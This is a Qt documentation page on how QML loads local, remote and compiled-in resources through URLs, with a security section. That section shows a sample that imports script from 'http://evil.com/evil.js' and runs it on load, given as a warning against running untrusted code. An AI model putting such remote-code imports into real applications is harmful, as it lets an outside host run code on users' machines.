1 /****************************************************************************
3 ** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
4 ** Contact: http://www.qt-project.org/
6 ** This file is part of the documentation of the Qt Toolkit.
8 ** $QT_BEGIN_LICENSE:FDL$
9 ** GNU Free Documentation License
10 ** Alternatively, this file may be used under the terms of the GNU Free
11 ** Documentation License version 1.3 as published by the Free Software
12 ** Foundation and appearing in the file included in the packaging of
16 ** Alternatively, this file may be used in accordance with the terms
17 ** and conditions contained in a signed written agreement between you
26 ****************************************************************************/
28 \page qtqml-documents-networktransparency.html
29 \title Resource Loading and Network Transparency
30 \brief about loading files and resources accross a network
32 QML supports network transparency by using URLs (rather than file names) for all
33 references from a QML document to other content. This means that anywhere a URL source is expected,
34 QML can handle remote resources as well as local ones, for example in the following image source:
38 source: "http://www.example.com/images/logo.png"
42 Since a \e relative URL is the same
43 as a relative file, development of QML on regular file systems remains simple:
47 source: "images/logo.png"
51 Network transparency is supported throughout QML, for example:
54 \li Fonts - the \c source property of FontLoader is a URL
55 \li WebViews - the \c url property of WebView (obviously!)
58 Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load
59 \tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
60 will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
61 For example if the qmldir file contains the line "World World.qml", it will load
62 \tt http://example.com/mystuff/World.qml
63 Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
64 similarly be loaded from the network.
67 \section1 Relative vs. Absolute URLs
69 Whenever an object has a property of type URL (QUrl), assigning a string to that
70 property will actually assign an absolute URL - by resolving the string against
71 the URL of the document where the string is used.
73 For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
77 source: "images/logo.png"
81 The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
82 but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
83 \tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
85 If the string assigned to a URL is already an absolute URL, then "resolving" does
86 not change it and the URL is assigned directly.
89 \section1 QRC Resources
91 One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
92 the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
93 that is compiled into the executable:
96 QQuickView *view = new QQuickView;
97 view->setUrl(QUrl("qrc:/dial.qml"));
100 The content itself can then use relative URLs, and so be transparently unaware that the content is
101 compiled into the executable.
104 \section1 Limitations
106 The \c import statement is only network transparent if it has an "as" clause.
110 \li \c{import "dir"} only works on local file systems
111 \li \c{import libraryUri} only works on local file systems
112 \li \c{import "dir" as D} works network transparently
113 \li \c{import libraryUrl as U} works network transparently
117 \section1 Implications for Application Security
119 The QML security model is that QML content is a chain of trusted content: the user
120 installs QML content that they trust in the same way as they install native Qt applications,
121 or programs written with runtimes such as Python and Perl. That trust is establish by any
122 of a number of mechanisms, including the availability of package signing on some platforms.
124 In order to preserve the trust of users, QML application developers should not load
125 and execute arbitary JavaScript or QML resources. For example, consider the QML code below:
129 import "http://evil.com/evil.js" as Evil
132 onLoaded: Evil.doEvil()
136 This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
137 will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
139 As with any application accessing other content beyond its control, a QML application should
140 perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}